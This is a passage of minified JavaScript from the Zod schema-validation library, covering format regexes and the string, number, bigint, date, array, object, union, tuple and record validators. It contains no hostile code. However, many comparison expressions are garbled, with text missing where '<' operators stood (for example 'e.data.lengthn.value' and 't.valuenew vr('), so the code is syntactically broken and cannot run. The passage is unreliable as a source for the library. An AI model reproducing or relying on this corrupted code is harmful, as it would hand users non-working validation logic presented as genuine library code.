this._refinement(e)}constructor(e){this.spa=this.safeParseAsync,this._def=e,this.parse=this.parse.bind(this),this.safeParse=this.safeParse.bind(this),this.parseAsync=this.parseAsync.bind(this),this.safeParseAsync=this.safeParseAsync.bind(this),this.spa=this.spa.bind(this),this.refine=this.refine.bind(this),this.refinement=this.refinement.bind(this),this.superRefine=this.superRefine.bind(this),this.optional=this.optional.bind(this),this.nullable=this.nullable.bind(this),this.nullish=this.nullish.bind(this),this.array=this.array.bind(this),this.promise=this.promise.bind(this),this.or=this.or.bind(this),this.and=this.and.bind(this),this.transform=this.transform.bind(this),this.brand=this.brand.bind(this),this.default=this.default.bind(this),this.catch=this.catch.bind(this),this.describe=this.describe.bind(this),this.pipe=this.pipe.bind(this),this.readonly=this.readonly.bind(this),this.isNullable=this.isNullable.bind(this),this.isOptional=this.isOptional.bind(this),this["~standard"]={version:1,vendor:"zod",validate:t=>this["~validate"](t)}}optional(){return qe.create(this,this._def)}nullable(){return tr.create(this,this._def)}nullish(){return this.nullable().optional()}array(){return fr.create(this)}promise(){return yr.create(this,this._def)}or(e){return Nr.create([this,e],this._def)}and(e){return Lr.create(this,e,this._def)}transform(e){return new Ve({...Q(this._def),schema:this,typeName:W.ZodEffects,effect:{type:"transform",transform:e}})}default(e){let t=typeof e=="function"?e:()=>e;return new Ur({...Q(this._def),innerType:this,defaultValue:t,typeName:W.ZodDefault})}brand(){return new gt({typeName:W.ZodBranded,type:this,...Q(this._def)})}catch(e){let t=typeof e=="function"?e:()=>e;return new Vr({...Q(this._def),innerType:this,catchValue:t,typeName:W.ZodCatch})}describe(e){let t=this.constructor;return new t({...this._def,description:e})}pipe(e){return yt.create(this,e)}readonly(){return Hr.create(this)}isOptional(){return this.safeParse(void 0).success}isNullable(){return this.safeParse(null).success}},Yo=/^c[^\s-]{8,}$/i,Xo=/^[0-9a-z]+$/,el=/^[0-9A-HJKMNP-TV-Z]{26}$/i,rl=/^[0-9a-fA-F]{8}\b-[0-9a-fA-F]{4}\b-[0-9a-fA-F]{4}\b-[0-9a-fA-F]{4}\b-[0-9a-fA-F]{12}$/i,tl=/^[a-z0-9_-]{21}$/i,al=/^[A-Za-z0-9-_]+\.[A-Za-z0-9-_]+\.[A-Za-z0-9-_]*$/,sl=/^[-+]?P(?!$)(?:(?:[-+]?\d+Y)|(?:[-+]?\d+[.,]\d+Y$))?(?:(?:[-+]?\d+M)|(?:[-+]?\d+[.,]\d+M$))?(?:(?:[-+]?\d+W)|(?:[-+]?\d+[.,]\d+W$))?(?:(?:[-+]?\d+D)|(?:[-+]?\d+[.,]\d+D$))?(?:T(?=[\d+-])(?:(?:[-+]?\d+H)|(?:[-+]?\d+[.,]\d+H$))?(?:(?:[-+]?\d+M)|(?:[-+]?\d+[.,]\d+M$))?(?:[-+]?\d+(?:[.,]\d+)?S)?)??$/,nl=/^(?!\.)(?!.*\.\.)([A-Z0-9_'+\-\.]*)[A-Z0-9_+-]@([A-Z0-9][A-Z0-9\-]*\.)+[A-Z]{2,}$/i,il="^(\\p{Extended_Pictographic}|\\p{Emoji_Component})+$",ba,ol=/^(?:(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])$/,ll=/^(?:(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\/(3[0-2]|[12]?[0-9])$/,cl=/^(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))$/,ul=/^(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))\/(12[0-8]|1[01][0-9]|[1-9]?[0-9])$/,dl=/^([0-9a-zA-Z+/]{4})*(([0-9a-zA-Z+/]{2}==)|([0-9a-zA-Z+/]{3}=))?$/,fl=/^([0-9a-zA-Z-_]{4})*(([0-9a-zA-Z-_]{2}(==)?)|([0-9a-zA-Z-_]{3}(=)?))?$/,As="((\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-((0[13578]|1[02])-(0[1-9]|[12]\\d|3[01])|(0[469]|11)-(0[1-9]|[12]\\d|30)|(02)-(0[1-9]|1\\d|2[0-8])))",hl=new RegExp(`^${As}$`);function Cs(a){let e="[0-5]\\d";a.precision?e=`${e}\\.\\d{${a.precision}}`:a.precision==null&&(e=`${e}(\\.\\d+)?`);let t=a.precision?"+":"?";return`([01]\\d|2[0-3]):[0-5]\\d(:${e})${t}`}function pl(a){return new RegExp(`^${Cs(a)}$`)}function Ds(a){let e=`${As}T${Cs(a)}`,t=[];return t.push(a.local?"Z?":"Z"),a.offset&&t.push("([+-]\\d{2}:?\\d{2})"),e=`${e}(${t.join("|")})`,new RegExp(`^${e}$`)}function ml(a,e){return!!((e==="v4"||!e)&&ol.test(a)||(e==="v6"||!e)&&cl.test(a))}function vl(a,e){if(!al.test(a))return!1;try{let[t]=a.split(".");if(!t)return!1;let s=t.replace(/-/g,"+").replace(/_/g,"/").padEnd(t.length+(4-t.length%4)%4,"="),r=JSON.parse(atob(s));return!(typeof r!="object"||r===null||"typ"in r&&r?.typ!=="JWT"||!r.alg||e&&r.alg!==e)}catch{return!1}}function gl(a,e){return!!((e==="v4"||!e)&&ll.test(a)||(e==="v6"||!e)&&ul.test(a))}var vr=class a extends K{_parse(e){if(this._def.coerce&&(e.data=String(e.data)),this._getType(e)!==k.string){let n=this._getOrReturnCtx(e);return D(n,{code:w.invalid_type,expected:k.string,received:n.parsedType}),z}let s=new be,r;for(let n of this._def.checks)if(n.kind==="min")e.data.lengthn.value&&(r=this._getOrReturnCtx(e,r),D(r,{code:w.too_big,maximum:n.value,type:"string",inclusive:!0,exact:!1,message:n.message}),s.dirty());else if(n.kind==="length"){let l=e.data.length>n.value,i=e.data.lengthe.test(r),{validation:t,code:w.invalid_string,...U.errToObj(s)})}_addCheck(e){return new a({...this._def,checks:[...this._def.checks,e]})}email(e){return this._addCheck({kind:"email",...U.errToObj(e)})}url(e){return this._addCheck({kind:"url",...U.errToObj(e)})}emoji(e){return this._addCheck({kind:"emoji",...U.errToObj(e)})}uuid(e){return this._addCheck({kind:"uuid",...U.errToObj(e)})}nanoid(e){return this._addCheck({kind:"nanoid",...U.errToObj(e)})}cuid(e){return this._addCheck({kind:"cuid",...U.errToObj(e)})}cuid2(e){return this._addCheck({kind:"cuid2",...U.errToObj(e)})}ulid(e){return this._addCheck({kind:"ulid",...U.errToObj(e)})}base64(e){return this._addCheck({kind:"base64",...U.errToObj(e)})}base64url(e){return this._addCheck({kind:"base64url",...U.errToObj(e)})}jwt(e){return this._addCheck({kind:"jwt",...U.errToObj(e)})}ip(e){return this._addCheck({kind:"ip",...U.errToObj(e)})}cidr(e){return this._addCheck({kind:"cidr",...U.errToObj(e)})}datetime(e){return typeof e=="string"?this._addCheck({kind:"datetime",precision:null,offset:!1,local:!1,message:e}):this._addCheck({kind:"datetime",precision:typeof e?.precision>"u"?null:e?.precision,offset:e?.offset??!1,local:e?.local??!1,...U.errToObj(e?.message)})}date(e){return this._addCheck({kind:"date",message:e})}time(e){return typeof e=="string"?this._addCheck({kind:"time",precision:null,message:e}):this._addCheck({kind:"time",precision:typeof e?.precision>"u"?null:e?.precision,...U.errToObj(e?.message)})}duration(e){return this._addCheck({kind:"duration",...U.errToObj(e)})}regex(e,t){return this._addCheck({kind:"regex",regex:e,...U.errToObj(t)})}includes(e,t){return this._addCheck({kind:"includes",value:e,position:t?.position,...U.errToObj(t?.message)})}startsWith(e,t){return this._addCheck({kind:"startsWith",value:e,...U.errToObj(t)})}endsWith(e,t){return this._addCheck({kind:"endsWith",value:e,...U.errToObj(t)})}min(e,t){return this._addCheck({kind:"min",value:e,...U.errToObj(t)})}max(e,t){return this._addCheck({kind:"max",value:e,...U.errToObj(t)})}length(e,t){return this._addCheck({kind:"length",value:e,...U.errToObj(t)})}nonempty(e){return this.min(1,U.errToObj(e))}trim(){return new a({...this._def,checks:[...this._def.checks,{kind:"trim"}]})}toLowerCase(){return new a({...this._def,checks:[...this._def.checks,{kind:"toLowerCase"}]})}toUpperCase(){return new a({...this._def,checks:[...this._def.checks,{kind:"toUpperCase"}]})}get isDatetime(){return!!this._def.checks.find(e=>e.kind==="datetime")}get isDate(){return!!this._def.checks.find(e=>e.kind==="date")}get isTime(){return!!this._def.checks.find(e=>e.kind==="time")}get isDuration(){return!!this._def.checks.find(e=>e.kind==="duration")}get isEmail(){return!!this._def.checks.find(e=>e.kind==="email")}get isURL(){return!!this._def.checks.find(e=>e.kind==="url")}get isEmoji(){return!!this._def.checks.find(e=>e.kind==="emoji")}get isUUID(){return!!this._def.checks.find(e=>e.kind==="uuid")}get isNANOID(){return!!this._def.checks.find(e=>e.kind==="nanoid")}get isCUID(){return!!this._def.checks.find(e=>e.kind==="cuid")}get isCUID2(){return!!this._def.checks.find(e=>e.kind==="cuid2")}get isULID(){return!!this._def.checks.find(e=>e.kind==="ulid")}get isIP(){return!!this._def.checks.find(e=>e.kind==="ip")}get isCIDR(){return!!this._def.checks.find(e=>e.kind==="cidr")}get isBase64(){return!!this._def.checks.find(e=>e.kind==="base64")}get isBase64url(){return!!this._def.checks.find(e=>e.kind==="base64url")}get minLength(){let e=null;for(let t of this._def.checks)t.kind==="min"&&(e===null||t.value>e)&&(e=t.value);return e}get maxLength(){let e=null;for(let t of this._def.checks)t.kind==="max"&&(e===null||t.valuenew vr({checks:[],typeName:W.ZodString,coerce:a?.coerce??!1,...Q(a)});function yl(a,e){let t=(a.toString().split(".")[1]||"").length,s=(e.toString().split(".")[1]||"").length,r=t>s?t:s,n=Number.parseInt(a.toFixed(r).replace(".","")),l=Number.parseInt(e.toFixed(r).replace(".",""));return n%l/10**r}var Ir=class a extends K{constructor(){super(...arguments),this.min=this.gte,this.max=this.lte,this.step=this.multipleOf}_parse(e){if(this._def.coerce&&(e.data=Number(e.data)),this._getType(e)!==k.number){let n=this._getOrReturnCtx(e);return D(n,{code:w.invalid_type,expected:k.number,received:n.parsedType}),z}let s,r=new be;for(let n of this._def.checks)n.kind==="int"?Y.isInteger(e.data)||(s=this._getOrReturnCtx(e,s),D(s,{code:w.invalid_type,expected:"integer",received:"float",message:n.message}),r.dirty()):n.kind==="min"?(n.inclusive?e.datan.value:e.data>=n.value)&&(s=this._getOrReturnCtx(e,s),D(s,{code:w.too_big,maximum:n.value,type:"number",inclusive:n.inclusive,exact:!1,message:n.message}),r.dirty()):n.kind==="multipleOf"?yl(e.data,n.value)!==0&&(s=this._getOrReturnCtx(e,s),D(s,{code:w.not_multiple_of,multipleOf:n.value,message:n.message}),r.dirty()):n.kind==="finite"?Number.isFinite(e.data)||(s=this._getOrReturnCtx(e,s),D(s,{code:w.not_finite,message:n.message}),r.dirty()):Y.assertNever(n);return{status:r.value,value:e.data}}gte(e,t){return this.setLimit("min",e,!0,U.toString(t))}gt(e,t){return this.setLimit("min",e,!1,U.toString(t))}lte(e,t){return this.setLimit("max",e,!0,U.toString(t))}lt(e,t){return this.setLimit("max",e,!1,U.toString(t))}setLimit(e,t,s,r){return new a({...this._def,checks:[...this._def.checks,{kind:e,value:t,inclusive:s,message:U.toString(r)}]})}_addCheck(e){return new a({...this._def,checks:[...this._def.checks,e]})}int(e){return this._addCheck({kind:"int",message:U.toString(e)})}positive(e){return this._addCheck({kind:"min",value:0,inclusive:!1,message:U.toString(e)})}negative(e){return this._addCheck({kind:"max",value:0,inclusive:!1,message:U.toString(e)})}nonpositive(e){return this._addCheck({kind:"max",value:0,inclusive:!0,message:U.toString(e)})}nonnegative(e){return this._addCheck({kind:"min",value:0,inclusive:!0,message:U.toString(e)})}multipleOf(e,t){return this._addCheck({kind:"multipleOf",value:e,message:U.toString(t)})}finite(e){return this._addCheck({kind:"finite",message:U.toString(e)})}safe(e){return this._addCheck({kind:"min",inclusive:!0,value:Number.MIN_SAFE_INTEGER,message:U.toString(e)})._addCheck({kind:"max",inclusive:!0,value:Number.MAX_SAFE_INTEGER,message:U.toString(e)})}get minValue(){let e=null;for(let t of this._def.checks)t.kind==="min"&&(e===null||t.value>e)&&(e=t.value);return e}get maxValue(){let e=null;for(let t of this._def.checks)t.kind==="max"&&(e===null||t.valuee.kind==="int"||e.kind==="multipleOf"&&Y.isInteger(e.value))}get isFinite(){let e=null,t=null;for(let s of this._def.checks){if(s.kind==="finite"||s.kind==="int"||s.kind==="multipleOf")return!0;s.kind==="min"?(t===null||s.value>t)&&(t=s.value):s.kind==="max"&&(e===null||s.valuenew Ir({checks:[],typeName:W.ZodNumber,coerce:a?.coerce||!1,...Q(a)});var $r=class a extends K{constructor(){super(...arguments),this.min=this.gte,this.max=this.lte}_parse(e){if(this._def.coerce)try{e.data=BigInt(e.data)}catch{return this._getInvalidInput(e)}if(this._getType(e)!==k.bigint)return this._getInvalidInput(e);let s,r=new be;for(let n of this._def.checks)n.kind==="min"?(n.inclusive?e.datan.value:e.data>=n.value)&&(s=this._getOrReturnCtx(e,s),D(s,{code:w.too_big,type:"bigint",maximum:n.value,inclusive:n.inclusive,message:n.message}),r.dirty()):n.kind==="multipleOf"?e.data%n.value!==BigInt(0)&&(s=this._getOrReturnCtx(e,s),D(s,{code:w.not_multiple_of,multipleOf:n.value,message:n.message}),r.dirty()):Y.assertNever(n);return{status:r.value,value:e.data}}_getInvalidInput(e){let t=this._getOrReturnCtx(e);return D(t,{code:w.invalid_type,expected:k.bigint,received:t.parsedType}),z}gte(e,t){return this.setLimit("min",e,!0,U.toString(t))}gt(e,t){return this.setLimit("min",e,!1,U.toString(t))}lte(e,t){return this.setLimit("max",e,!0,U.toString(t))}lt(e,t){return this.setLimit("max",e,!1,U.toString(t))}setLimit(e,t,s,r){return new a({...this._def,checks:[...this._def.checks,{kind:e,value:t,inclusive:s,message:U.toString(r)}]})}_addCheck(e){return new a({...this._def,checks:[...this._def.checks,e]})}positive(e){return this._addCheck({kind:"min",value:BigInt(0),inclusive:!1,message:U.toString(e)})}negative(e){return this._addCheck({kind:"max",value:BigInt(0),inclusive:!1,message:U.toString(e)})}nonpositive(e){return this._addCheck({kind:"max",value:BigInt(0),inclusive:!0,message:U.toString(e)})}nonnegative(e){return this._addCheck({kind:"min",value:BigInt(0),inclusive:!0,message:U.toString(e)})}multipleOf(e,t){return this._addCheck({kind:"multipleOf",value:e,message:U.toString(t)})}get minValue(){let e=null;for(let t of this._def.checks)t.kind==="min"&&(e===null||t.value>e)&&(e=t.value);return e}get maxValue(){let e=null;for(let t of this._def.checks)t.kind==="max"&&(e===null||t.valuenew $r({checks:[],typeName:W.ZodBigInt,coerce:a?.coerce??!1,...Q(a)});var Ar=class extends K{_parse(e){if(this._def.coerce&&(e.data=!!e.data),this._getType(e)!==k.boolean){let s=this._getOrReturnCtx(e);return D(s,{code:w.invalid_type,expected:k.boolean,received:s.parsedType}),z}return we(e.data)}};Ar.create=a=>new Ar({typeName:W.ZodBoolean,coerce:a?.coerce||!1,...Q(a)});var Cr=class a extends K{_parse(e){if(this._def.coerce&&(e.data=new Date(e.data)),this._getType(e)!==k.date){let n=this._getOrReturnCtx(e);return D(n,{code:w.invalid_type,expected:k.date,received:n.parsedType}),z}if(Number.isNaN(e.data.getTime())){let n=this._getOrReturnCtx(e);return D(n,{code:w.invalid_date}),z}let s=new be,r;for(let n of this._def.checks)n.kind==="min"?e.data.getTime()n.value&&(r=this._getOrReturnCtx(e,r),D(r,{code:w.too_big,message:n.message,inclusive:!0,exact:!1,maximum:n.value,type:"date"}),s.dirty()):Y.assertNever(n);return{status:s.value,value:new Date(e.data.getTime())}}_addCheck(e){return new a({...this._def,checks:[...this._def.checks,e]})}min(e,t){return this._addCheck({kind:"min",value:e.getTime(),message:U.toString(t)})}max(e,t){return this._addCheck({kind:"max",value:e.getTime(),message:U.toString(t)})}get minDate(){let e=null;for(let t of this._def.checks)t.kind==="min"&&(e===null||t.value>e)&&(e=t.value);return e!=null?new Date(e):null}get maxDate(){let e=null;for(let t of this._def.checks)t.kind==="max"&&(e===null||t.valuenew Cr({checks:[],coerce:a?.coerce||!1,typeName:W.ZodDate,...Q(a)});var tt=class extends K{_parse(e){if(this._getType(e)!==k.symbol){let s=this._getOrReturnCtx(e);return D(s,{code:w.invalid_type,expected:k.symbol,received:s.parsedType}),z}return we(e.data)}};tt.create=a=>new tt({typeName:W.ZodSymbol,...Q(a)});var Dr=class extends K{_parse(e){if(this._getType(e)!==k.undefined){let s=this._getOrReturnCtx(e);return D(s,{code:w.invalid_type,expected:k.undefined,received:s.parsedType}),z}return we(e.data)}};Dr.create=a=>new Dr({typeName:W.ZodUndefined,...Q(a)});var kr=class extends K{_parse(e){if(this._getType(e)!==k.null){let s=this._getOrReturnCtx(e);return D(s,{code:w.invalid_type,expected:k.null,received:s.parsedType}),z}return we(e.data)}};kr.create=a=>new kr({typeName:W.ZodNull,...Q(a)});var gr=class extends K{constructor(){super(...arguments),this._any=!0}_parse(e){return we(e.data)}};gr.create=a=>new gr({typeName:W.ZodAny,...Q(a)});var dr=class extends K{constructor(){super(...arguments),this._unknown=!0}_parse(e){return we(e.data)}};dr.create=a=>new dr({typeName:W.ZodUnknown,...Q(a)});var Qe=class extends K{_parse(e){let t=this._getOrReturnCtx(e);return D(t,{code:w.invalid_type,expected:k.never,received:t.parsedType}),z}};Qe.create=a=>new Qe({typeName:W.ZodNever,...Q(a)});var at=class extends K{_parse(e){if(this._getType(e)!==k.undefined){let s=this._getOrReturnCtx(e);return D(s,{code:w.invalid_type,expected:k.void,received:s.parsedType}),z}return we(e.data)}};at.create=a=>new at({typeName:W.ZodVoid,...Q(a)});var fr=class a extends K{_parse(e){let{ctx:t,status:s}=this._processInputParams(e),r=this._def;if(t.parsedType!==k.array)return D(t,{code:w.invalid_type,expected:k.array,received:t.parsedType}),z;if(r.exactLength!==null){let l=t.data.length>r.exactLength.value,i=t.data.lengthr.maxLength.value&&(D(t,{code:w.too_big,maximum:r.maxLength.value,type:"array",inclusive:!0,exact:!1,message:r.maxLength.message}),s.dirty()),t.common.async)return Promise.all([...t.data].map((l,i)=>r.type._parseAsync(new Ue(t,l,t.path,i)))).then(l=>be.mergeArray(s,l));let n=[...t.data].map((l,i)=>r.type._parseSync(new Ue(t,l,t.path,i)));return be.mergeArray(s,n)}get element(){return this._def.type}min(e,t){return new a({...this._def,minLength:{value:e,message:U.toString(t)}})}max(e,t){return new a({...this._def,maxLength:{value:e,message:U.toString(t)}})}length(e,t){return new a({...this._def,exactLength:{value:e,message:U.toString(t)}})}nonempty(e){return this.min(1,e)}};fr.create=(a,e)=>new fr({type:a,minLength:null,maxLength:null,exactLength:null,typeName:W.ZodArray,...Q(e)});function rt(a){if(a instanceof Ce){let e={};for(let t in a.shape){let s=a.shape[t];e[t]=qe.create(rt(s))}return new Ce({...a._def,shape:()=>e})}else return a instanceof fr?new fr({...a._def,type:rt(a.element)}):a instanceof qe?qe.create(rt(a.unwrap())):a instanceof tr?tr.create(rt(a.unwrap())):a instanceof rr?rr.create(a.items.map(e=>rt(e))):a}var Ce=class a extends K{constructor(){super(...arguments),this._cached=null,this.nonstrict=this.passthrough,this.augment=this.extend}_getCached(){if(this._cached!==null)return this._cached;let e=this._def.shape(),t=Y.objectKeys(e);return this._cached={shape:e,keys:t},this._cached}_parse(e){if(this._getType(e)!==k.object){let d=this._getOrReturnCtx(e);return D(d,{code:w.invalid_type,expected:k.object,received:d.parsedType}),z}let{status:s,ctx:r}=this._processInputParams(e),{shape:n,keys:l}=this._getCached(),i=[];if(!(this._def.catchall instanceof Qe&&this._def.unknownKeys==="strip"))for(let d in r.data)l.includes(d)||i.push(d);let f=[];for(let d of l){let h=n[d],m=r.data[d];f.push({key:{status:"valid",value:d},value:h._parse(new Ue(r,m,r.path,d)),alwaysSet:d in r.data})}if(this._def.catchall instanceof Qe){let d=this._def.unknownKeys;if(d==="passthrough")for(let h of i)f.push({key:{status:"valid",value:h},value:{status:"valid",value:r.data[h]}});else if(d==="strict")i.length>0&&(D(r,{code:w.unrecognized_keys,keys:i}),s.dirty());else if(d!=="strip")throw new Error("Internal ZodObject error: invalid unknownKeys value.")}else{let d=this._def.catchall;for(let h of i){let m=r.data[h];f.push({key:{status:"valid",value:h},value:d._parse(new Ue(r,m,r.path,h)),alwaysSet:h in r.data})}}return r.common.async?Promise.resolve().then(async()=>{let d=[];for(let h of f){let m=await h.key,E=await h.value;d.push({key:m,value:E,alwaysSet:h.alwaysSet})}return d}).then(d=>be.mergeObjectSync(s,d)):be.mergeObjectSync(s,f)}get shape(){return this._def.shape()}strict(e){return U.errToObj,new a({...this._def,unknownKeys:"strict",...e!==void 0?{errorMap:(t,s)=>{let r=this._def.errorMap?.(t,s).message??s.defaultError;return t.code==="unrecognized_keys"?{message:U.errToObj(e).message??r}:{message:r}}}:{}})}strip(){return new a({...this._def,unknownKeys:"strip"})}passthrough(){return new a({...this._def,unknownKeys:"passthrough"})}extend(e){return new a({...this._def,shape:()=>({...this._def.shape(),...e})})}merge(e){return new a({unknownKeys:e._def.unknownKeys,catchall:e._def.catchall,shape:()=>({...this._def.shape(),...e._def.shape()}),typeName:W.ZodObject})}setKey(e,t){return this.augment({[e]:t})}catchall(e){return new a({...this._def,catchall:e})}pick(e){let t={};for(let s of Y.objectKeys(e))e[s]&&this.shape[s]&&(t[s]=this.shape[s]);return new a({...this._def,shape:()=>t})}omit(e){let t={};for(let s of Y.objectKeys(this.shape))e[s]||(t[s]=this.shape[s]);return new a({...this._def,shape:()=>t})}deepPartial(){return rt(this)}partial(e){let t={};for(let s of Y.objectKeys(this.shape)){let r=this.shape[s];e&&!e[s]?t[s]=r:t[s]=r.optional()}return new a({...this._def,shape:()=>t})}required(e){let t={};for(let s of Y.objectKeys(this.shape))if(e&&!e[s])t[s]=this.shape[s];else{let n=this.shape[s];for(;n instanceof qe;)n=n._def.innerType;t[s]=n}return new a({...this._def,shape:()=>t})}keyof(){return ks(Y.objectKeys(this.shape))}};Ce.create=(a,e)=>new Ce({shape:()=>a,unknownKeys:"strip",catchall:Qe.create(),typeName:W.ZodObject,...Q(e)});Ce.strictCreate=(a,e)=>new Ce({shape:()=>a,unknownKeys:"strict",catchall:Qe.create(),typeName:W.ZodObject,...Q(e)});Ce.lazycreate=(a,e)=>new Ce({shape:a,unknownKeys:"strip",catchall:Qe.create(),typeName:W.ZodObject,...Q(e)});var Nr=class extends K{_parse(e){let{ctx:t}=this._processInputParams(e),s=this._def.options;function r(n){for(let i of n)if(i.result.status==="valid")return i.result;for(let i of n)if(i.result.status==="dirty")return t.common.issues.push(...i.ctx.common.issues),i.result;let l=n.map(i=>new Ae(i.ctx.common.issues));return D(t,{code:w.invalid_union,unionErrors:l}),z}if(t.common.async)return Promise.all(s.map(async n=>{let l={...t,common:{...t.common,issues:[]},parent:null};return{result:await n._parseAsync({data:t.data,path:t.path,parent:l}),ctx:l}})).then(r);{let n,l=[];for(let f of s){let d={...t,common:{...t.common,issues:[]},parent:null},h=f._parseSync({data:t.data,path:t.path,parent:d});if(h.status==="valid")return h;h.status==="dirty"&&!n&&(n={result:h,ctx:d}),d.common.issues.length&&l.push(d.common.issues)}if(n)return t.common.issues.push(...n.ctx.common.issues),n.result;let i=l.map(f=>new Ae(f));return D(t,{code:w.invalid_union,unionErrors:i}),z}}get options(){return this._def.options}};Nr.create=(a,e)=>new Nr({options:a,typeName:W.ZodUnion,...Q(e)});var ur=a=>a instanceof jr?ur(a.schema):a instanceof Ve?ur(a.innerType()):a instanceof Fr?[a.value]:a instanceof Mr?a.options:a instanceof qr?Y.objectValues(a.enum):a instanceof Ur?ur(a._def.innerType):a instanceof Dr?[void 0]:a instanceof kr?[null]:a instanceof qe?[void 0,...ur(a.unwrap())]:a instanceof tr?[null,...ur(a.unwrap())]:a instanceof gt||a instanceof Hr?ur(a.unwrap()):a instanceof Vr?ur(a._def.innerType):[],Ct=class a extends K{_parse(e){let{ctx:t}=this._processInputParams(e);if(t.parsedType!==k.object)return D(t,{code:w.invalid_type,expected:k.object,received:t.parsedType}),z;let s=this.discriminator,r=t.data[s],n=this.optionsMap.get(r);return n?t.common.async?n._parseAsync({data:t.data,path:t.path,parent:t}):n._parseSync({data:t.data,path:t.path,parent:t}):(D(t,{code:w.invalid_union_discriminator,options:Array.from(this.optionsMap.keys()),path:[s]}),z)}get discriminator(){return this._def.discriminator}get options(){return this._def.options}get optionsMap(){return this._def.optionsMap}static create(e,t,s){let r=new Map;for(let n of t){let l=ur(n.shape[e]);if(!l.length)throw new Error(`A discriminator value for key \`${e}\` could not be extracted from all schema options`);for(let i of l){if(r.has(i))throw new Error(`Discriminator property ${String(e)} has duplicate value ${String(i)}`);r.set(i,n)}}return new a({typeName:W.ZodDiscriminatedUnion,discriminator:e,options:t,optionsMap:r,...Q(s)})}};function Pa(a,e){let t=er(a),s=er(e);if(a===e)return{valid:!0,data:a};if(t===k.object&&s===k.object){let r=Y.objectKeys(e),n=Y.objectKeys(a).filter(i=>r.indexOf(i)!==-1),l={...a,...e};for(let i of n){let f=Pa(a[i],e[i]);if(!f.valid)return{valid:!1};l[i]=f.data}return{valid:!0,data:l}}else if(t===k.array&&s===k.array){if(a.length!==e.length)return{valid:!1};let r=[];for(let n=0;n{if($t(n)||$t(l))return z;let i=Pa(n.value,l.value);return i.valid?((At(n)||At(l))&&t.dirty(),{status:t.value,value:i.data}):(D(s,{code:w.invalid_intersection_types}),z)};return s.common.async?Promise.all([this._def.left._parseAsync({data:s.data,path:s.path,parent:s}),this._def.right._parseAsync({data:s.data,path:s.path,parent:s})]).then(([n,l])=>r(n,l)):r(this._def.left._parseSync({data:s.data,path:s.path,parent:s}),this._def.right._parseSync({data:s.data,path:s.path,parent:s}))}};Lr.create=(a,e,t)=>new Lr({left:a,right:e,typeName:W.ZodIntersection,...Q(t)});var rr=class a extends K{_parse(e){let{status:t,ctx:s}=this._processInputParams(e);if(s.parsedType!==k.array)return D(s,{code:w.invalid_type,expected:k.array,received:s.parsedType}),z;if(s.data.lengththis._def.items.length&&(D(s,{code:w.too_big,maximum:this._def.items.length,inclusive:!0,exact:!1,type:"array"}),t.dirty());let n=[...s.data].map((l,i)=>{let f=this._def.items[i]||this._def.rest;return f?f._parse(new Ue(s,l,s.path,i)):null}).filter(l=>!!l);return s.common.async?Promise.all(n).then(l=>be.mergeArray(t,l)):be.mergeArray(t,n)}get items(){return this._def.items}rest(e){return new a({...this._def,rest:e})}};rr.create=(a,e)=>{if(!Array.isArray(a))throw new Error("You must pass an array of schemas to z.tuple([ ... ])");return new rr({items:a,typeName:W.ZodTuple,rest:null,...Q(e)})};var Dt=class a extends K{get keySchema(){return this._def.keyType}get valueSchema(){return this._def.valueType}_parse(e){let{status:t,ctx:s}=this._processInputParams(e);if(s.parsedType!==k.object)return D(s,{code:w.invalid_type,expected:k.object,received:s.parsedType}),z;let r=[],n=this._def.keyType,l=this._def.valueType;for(let i in s.data)r.push({key:n._parse(new Ue(s,i,s.path,i)),value:l._parse(new Ue(s,s.data[i],s.path,i)),alwaysSet:i in s.data});return s.common.async?be.mergeObjectAsync(t,r):be.mergeObjectSync(t,r)}get element(){return this._def.valueType}static create(e,t,s){return t instanceof K?new a({keyType:e,valueType:t,typeName:W.ZodRecord,...Q(s)}):new 